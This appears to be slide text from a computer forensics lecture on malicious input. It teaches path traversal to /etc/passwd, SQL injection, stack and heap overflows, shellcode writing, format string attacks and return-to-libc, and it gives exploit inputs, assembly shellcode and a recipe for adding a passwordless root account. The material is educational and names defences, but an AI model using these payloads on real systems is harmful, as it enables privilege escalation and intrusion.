Computer Forensics Use of Malicious Input

Buffer and Heap Overflow Attacks Standard Tool to Break Into Systems. Used for Access Escalation. Very Common. Prototype of an Attack Mode.

Beware of User Input Anonymous FTP should allow access to files selectively. One implementation parsed the file name. Assume /pub/acc is an allowed directory. Request: get /pub/acc/../../../etc/passwd

Beware of User Input This implementation only parsed the first part of the string. Decided access is OK get /pub/acc/../../../etc/passwd Allowed access to any file. Took several versions before the security breach was firmly patched.

Morale: ALL INPUT IS EVIL Don’t reinvent the wheel. Other implementations used a sandbox. Community had learned how to get it right. Parsing input is difficult. Users have an incentive to be inventive. ALL INPUT IS EVIL

ALL INPUT IS EVIL Canonical Representation Issues Canonical Filenames Canonicalization: Translates name to standard representation. Canonical Filenames Napster Name Filtering. Ordered to restrict access to certain songs. Access was denied based on name of the song. Users bypassed it with uncanonical song names Deepest Chill  Deepest Chi11 Candyman  AndymanCay (in pig latin)

ALL INPUT IS EVIL Mac OS X and Apache Vulnerability HFS+ is case insensitive. Apache uses text-based configuration files, that are case sensitive, to determine Disallow access to directory scripts: <Location /scripts> order deny, allow deny from all </Location

ALL INPUT IS EVIL Denies user request Allows user request http://www.mysite.org/scripts/index.html http://www.mysite.org/SCRIPTS/index.html

ALL INPUT IS EVIL Sun StarOffice /tmp directory symbolic link vulnerability Symbolic link: file that points to another file. Symbolic links do not share access rights with the file they point to.

ALL INPUT IS EVIL Sun StarOffice creates file /tmp/soffice.tmp with 0777 access mask. Attacker links /tmp/soffice.tmp to /etc/passwd. Root runs StarOffice Permissions on /etc/passwd would get changed to 0777.

Canonicalization Issues Subsystems cooperate. First subsystem does not canonicalize input in the way the second one does.

Canonicalization Issues Common when software make decisions on file names 8.3 representation of file names IIS looks at extensions. Request to ***.asp::$DATA is routed to asp.dll. But this is a NTFS stream, that sends the ASP source code to the user. Trailing dots or slashes “secretFile.doc.” is same as “secretFile.doc” for windows.

Canonicalization Issues \\?\temp\myfile is the same as \temp\myfile Directory traversal ../ AOL 5.0 parental controls: Bypass restriction on URL by adding period to file name. Secure IIS verifies incoming and outgoing data Use hexcode: %64elete instead of delete for key words. Use “%2e%2e/” for “../” Two canonalization issues in Security Software!

Canonicalization Issues Lines with carriage returns: Assume logging of file access: Attacker accesses file: Log entry: 111.11.11.11 Mike 2004-02-19 13:02:12 file.txt file.txt\r\n127.0.0.1\tTom2004-02-19\t13:02:12\tsecret.doc 111.11.11.11 Mike 2004-02-19 13:02:12 file.txt 127.0.0. 1 Tom 2004-02-19 13:02:12 secret.doc

Canonicalization Issues Escaping: Many ways to represent a character US-ASCII Hexadecimal escape codes UTF-8 variable width encoding UCS-2 Unicode encoding HTML escape codes Double Escaping

Canonicalization Issues Homograph Attacks Characters look the same, but are not Latin letter “o” Cyrillic character “o” (U+043E)

Morale Software should not make decisions based on names. If it has do, enforce name restrictions Don’t trust relative paths.

Data Base Inputs Don’t trust the user. Data base access over the web lead to execution of sql code. string sql = “select * from client where name = ‘” + name + “’” Variable name provided by user If name is Schwarz, this executes string sql = “select * from client where name = ‘schwarz’”

Data Base Inputs User enters: The sql statement becomes Schwarz’ or 1=1 - - The sql statement becomes string sql = “select * from client where name = ‘schwarz’ or 1=1 - -” Selects all clients - - SQL comment, comments out everything behind.

Buffer Overflow Exploits and Much More How do you break in? In the following: Overview of Buffer Overflow Exploits Detailed Explanation of Buffer Overflow Exploits Writing Shell-code Heap exploits

Buffer Overflow Attacks Stack: push and pop

Buffer Overflow Attacks Memory used by a program is split into segments. Data segment – global program variables BSS segment – static program variables Heap – dynamic program variables Stack – procedure call data and local variables

Buffer Overflow Attack int main(int argc, char* argv[]) { foo(argv[1]); return 0; } void foo(const char* input) { char buf[10]; printf("Hello World\n"); }

Buffer Overflow Attack int main(int argc, char* argv[]) { foo(argv[1]); return 0;} void foo(const char* input) { char buf[10]; printf("Hello World\n"); }

Buffer Overflow Attack Works by overwriting the return address to jump somewhere else.

Buffer Overflow Attack #pragma check_stack(off) #include <string.h> #include <stdio.h> void foo(const char* input) { char buf[10]; printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); strcpy(buf, input); printf("%s\n", buf); printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); }

Buffer Overflow Attack void bar(void) { printf("Augh! I've been hacked!\n"); }

Buffer Overflow Attack int main(int argc, char* argv[]) { printf("Address of foo = %p\n", foo); printf("Address of bar = %p\n", bar); if (argc != 2) { printf("Please supply a string as an argument!\n"); return -1; } foo(argv[1]); return 0; }

Buffer Overflow Attack Chapter05>stackoverrun.exe Hello Address of foo = 00401000 Address of bar = 00401050 My stack looks like: 00000000 00000A28 7FFDF000 0012FEE4 004010BB 0032154D Hello Now the stack looks like: 6C6C6548 0000006F

Buffer Overflow Attack Chapter05>stackoverrun.exe Hello Address of foo = 00401000 Address of bar = 00401050 My stack looks like: 00000000 00000A28 7FFDF000 0012FEE4 004010BB 0032154D Hello Now the stack looks like: 6C6C6548 0000006F

Buffer Overflow Attack

Buffer Overflow Attack If we overflow the buffer, then we overwrite the return address. If we overwrite the return address, then (mostly), the memory location executed after the return does not belong to the program. Segmentation Fault. O.K., now we know how to write programs that crash!!!!!!!!

Buffer Overflow Attack By looking at the program and its output, we can write the address of bar into the return address. This will cause the execution to go to bar.

Buffer Overflow Attack Address of Bar

Buffer Overflow Attack

Buffer Overflow Attack This is fun, but useless. Real attack: overwrite return address so that code execution jumps into the input given by attacker.

Buffer Overflow Attack To protect against signatures, structure input Varying stuff such as NOP sled execve(/bin/sh) (gives new shell with program privileges in UNIX) Pointer to execve statement. This pointer overwrites the return address.

Buffer Overflow Attack Finding vulnerabilities Script-kiddies scan target with automated tool. Tool creator has detailed analysis of vulnerabilities. Look for strcpy, gets, getws, memcpy memmove, scanf, … Alternatively, just cram the application until it crashes. Crash used to give you locations of registers.

Buffer Overflow Attack Example: Cram in lots of input of As. Program crashes, EIP has value 41414141. Sign of buffer overflow. Now try to feed more specific input.

Buffer Overflow Attack

Buffer Overflow Attack Attack signature can be used by IDS. Vary the NOP commands. Many alternatives.

Buffer Overflow Attack Protection Make stack non-executable. Use canary birds.

Buffer Overflow Attack Stack Guard MS Visual Studio use canaries.

Buffer Overflow Attack Happen a lot: Most frequent vulnerability according to CERT MS Outlook Vcard: Virtual business card buffer overflow vulnerability. IIS 5 Internet Printing Protocol

Heap Overflow Attack These protections do not apply to heaps, where dynamically allocated memory resides. Some of this memory contains the addresses of functions that are going to be called. Harder to find, harder to protect against.

People attack computer systems because they can. Remember: People attack computer systems because they can.

Final Question You find evidence of a crime on a system that you are administering. However, in finding and collecting the evidence, you violated the law. You feel strongly about the case and hence you send the evidence anonymously to the police who use this to investigate the perpetrator. Is the collected evidence admissible in a court of law? No, you obtained the material without proper authorization and therefore violated constitutional protection. No, it needed to be collected in a forensically sound manner, which you did not do since you did not pay attention in class. Yes, you were not acting as an agent of the government and the constitutional amendments protect only against actions by government. Yes, since the evidence came from a system that the perpetrator did not own.

Buffer Overflow Details This function just mismanages the stack: int main ( int argc, char* argv[]) { char buffer[500]; strcpy(buffer, argv[1]); return 0; }

Buffer Overflow Attack Details Assume that this program is a suid root program: $ sudo chown root vuln $ sudo chmod +s vuln $ ls –l vuln -rwsr-sr-x 1 root linuxUser 4934 May

Buffer Overflow Attack Details We need three ingredients to break this code: NOP sled Shell-code Assembly language code that spawns a shell Return address (into the beginning of the overflowing buffer) Need to guess approximate location of the buffer Use current stack pointer to estimate beginning of buffer

Buffer Overflow Attack Details Put shell code into a file (called shellcode) Use Perl scripting to provide input. *nix example: $ ./vuln ‘perl –e `print “\x90”x202;``cat shellcode` `perl –e print “\x78\xf9\xff\xbf”x88 For this to work, the return address must be correctly aligned In this case, the shell code has 42B. NOP sled + shell code = 244B = 61 words, which leads to correct alignement. Using the ` character (under tilde) gives command substitution

Buffer Overflow Attack Details In the previous example, the buffer was big enough to contain the nop sled, the shell code and a bunch of return addresses. If the buffer is small, we can use environmental variables.

Buffer Overflow Attack Details Assume that we have this suid program: int main(int argc, char argv[]) { char buffer[5]; strcpy(buffer,argv[1]); return 0; }

Buffer Overflow Attack Details In this example, the buffer is too small to contain the shell code. Strategy: Place the shell code into the heap. Fill the entire buffer with a return address that points to the shell code.

Buffer Overflow Attack Details In the bash shell Create an environmental variable containing the shell code. Calculate the address of the environmental variable. Overflow the buffer with the address of that environmental variable.

Buffer Overflow Attack Details In the bash shell, set environmental variable with export VARNAME = variable $ export SHELLCODE=`perl –e ‘print “\x90”x100;’ ` cat shellcode ‘

Buffer Overflow Attack Details To find the address of this environmental variable Use gdb Set breakpoint right at the beginning of program Use the gdb command x/20s $esp To see strings in stack memory Look for “SHELLCODE =“ Once the shellcode is located, figure out an address that leads to the NOP sled

Buffer Overflow Attack Details To find the address of this environmental variable Use a program that calls getenv(SHELLCODE) and returns the value printf(“address is %p\n”,getenv(SHELLCODE)); Calculate the address of SHELLCODE This allows us to eliminate the NOP sled

Writing Shell Code Shell Code needs to call execve() setreuid() To restore root privileges after they are dropped. (Recall: we are using a suid program, they might drop root privileges).

Writing Shell Code int 0x80 System level calls are made with an interrupt int 0x80 Parameters are put into registers.

Writing Shell Code setreuid: mov eax, 70; syscall number is 70 mov ebx, 0; real uid set to root mov ecx, 0; set effective uid to root int 0x80

execve Writing Shell Code ebx points to /bin/shXAAAABBBB section .data filepath db “/bin/shXAAAABBBB” section .text mov eax, 0; mov ebx, filepath mov [ebx+7], al mov[ebx+8], ebx mov [ebx+12] ,eax mov eax, 11; since execve is syscall 11 lea ecx, [ebx+8]; load ecx with command addr lea edx, [ebx+12]; load edx with second para. 0 int 0x80 execve ebx points to /bin/shXAAAABBBB /bin/sh0AAAABBBB /bin/sh0aaaaBBBB where aaaa is the address of /bin/sh /bin/sh0aaaa0000 since eax contains 0000

Writing Shell Code This program spawns a shell. But string is still contained in the data segment. This will not work if shell code needs to be injected into existing code.

Writing Shell Code Using EIP A call instruction will load the EIP with a memory address. The address of the next instruction, the return address, is pushed on the stack. Call trick: Jump to the end of the code. (The string follows the end of the code.) Make a call to the beginning of the code. Remove the return address from the stack

Writing Shell Code Stack after call one: jmp two one: pop ebx ebx contains the address of the string jmp two one: pop ebx <program code here> two: call one db ‘/bin/sh0’ Stack after call one:

Writing Shell Code ! ARGHHH: ZEROES ! Put everything together and you have shell code. If you look at it in hex, you will see: B8 46 00 00 00 BB 00 00 00 00 B9 00 00 00 00 CD 80 EB 1C 5B B8 00 00 00 00 88 43 07 89 5B 08 89 43 0C B8 0B 00 00 00 8D 4B 08 8D 53 0C CD 80 E8 …. ! ARGHHH: ZEROES !

Writing Shell Code If you give zeroes as input, any self-respecting C-string function will assume the end of string. Some of the zeroes come from using the parameter zero. To load register eax with zero, use xor eax, eax Sometimes, a zero byte is part of a parameter. Load only half of a register: Replace mov eax, 70 with mov al, 70

Writing Shell Code Polymorphic Shell Code IDS can look for shell code signature IDS could insist on all input being printable. Make shell code that only consists of printable characters. Bigger and harder to do, but possible. Phiral Research Laboratories has a tool called dissembler that translates byte code into byte code that is printable.

Heap Buffer Overflow Attack Are not standardized such as buffer overflow attacks. Need to find something important in the heap that is stored after an over-flowable buffer. An important variable User permissions Authentication status A function pointer

Heap Buffer Overflow Attack Program appends userinput (up to 19B) into a file called “/tmp/notes”

Heap Buffer Overflow Attack Memory for *userinput is located before *outputfile Distance between the two is 24 As revealed by debugging As revealed by inputting successively longer strings. Up to 23B input is tolerated. Remember to add the additional zero

Heap Buffer Overflow Attack Assume that this is a suid program

Heap Buffer Overflow Attack How do we overflow the heap? Input 12345678901234567890123testfile Writes to testfile instead. Testfile contains 12345678901234567890123testfile

Heap Buffer Overflow Attack Can use the same trick to append to the password file. Problem: Need to craft the entry to fit. Desired entry: myroot::0:0:me:/root: /bin/bash However, somewhere there we have to get an /etc/passwd in. Solution: Use a symbolic link

Heap Buffer Overflow Attack Create a symbolic link so that an entry can be both a shell and end in /etc/passwd:

Heap Buffer Overflow Attack This means that this is a valid password file line: myroot::0:0:me:/root:/tmp/etc/passwd Now we need to modify this string so that /etc/passwd start with byte 24 myroot::0:0:m:/root:/tmp/etc/passwd works.

Heap Buffer Overflow Attack This is a fairly contrived example, but explains the ideas well.

Format String Vulnerability A programmer shortcut uses printf(string); instead of printf(“%s”,string); This works fine, unless the string itself becomes a format string.

Format String Vulnerability Assume we have the following line: printf(argv[1]); Input testing%x and obtain: testingbffff5a0 bffff5a0 is a value on the stack. Now we can read the stack by inputing %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. This is because the printf call will take its parameters from the stack.

Format String Vulnerability If we look far enough down the stack, we will find the string that we used as input.

Format String Vulnerability Assume we put in AAAA%08x.%08x.%08x.%08x. Output is AAAAbfff590.000003e8.000003e8.41414141 The 41-s are the beginning of the string. If the fourth parameter would be displayed using the %s format, then the function will read the memory at that address!

Format String Vulnerability If we put in an arbitrary memory address, then we would get a segmentation fault. But not if we take a valid memory address:

Format String Vulnerability Input \x14\xfd\xff\xbf.%x%x%x%s Result is the contents at memory location bf ff fd 14. Now we can read from any memory within the scope of the process!

Format String Vulnerability But we can even write to arbitrary memory! %n prints out number of bytes written out so far. It also writes data. Expects a memory address Writes number of bytes so far written into that memory address.

Format String Vulnerability Input \x70\x95\x04\x08%08x.%08x.%08x.%n Output bffff590.000003e8.000003e8 But also sets content at 0x08049570 to 30. This allows us to write small values to arbitrary memory belonging to the process. One can now write individual bytes by using the width field in front of %n:

Return into Libc Making the stack non-executable will stop the bulk of buffer overflow attacks. OpenBSD among others has a non-executable stack by default. But these architecture can still be exploited with a “return to libc”.

Return into Libc Basic vulnerable code:

Return into Libc Use “system” in the C-library. system(/bin/sh); spawns shell. Use gdb to find where system is by debugging a simple program such as

Return into Libc The address of system( ) will vary from system to system, but is constant for each system.

Return into Libc To call system(“/bin/sh”), we need to provide it with parameters. We need a pointer to /bin/sh.

Return into Libc system() address is 0x42049e54 /bin/sh address is 0xbffffc40 Therefore, input

Return into Libc First 28 B are just filler The address of system Return address is not used Argument for system

Return into Libc This will spawn a cell, but not at root level. Can use a previous call to setuid followed by system. Chaining of libc calls.

Return into Libc Better: Use a wrapper program to be executed by the vulnerable program. Wrapper is simple: Wrapper is executed at the privilege level of the vulnerable program, i.e. with root. Unfortunately, it system(/bin/sh) still drops privileges.

Return into Libc Ultimate solution: Use execl( ) instead of system( ). Since execl( ) expects parameters that should be zero (and zeroes terminate a string), we need various tricks to put strings into memory.

Bibliography Jon Erickson: Hacking, The art of exploitation, No Starch Press, 2003 Used throughout the last part of this presentation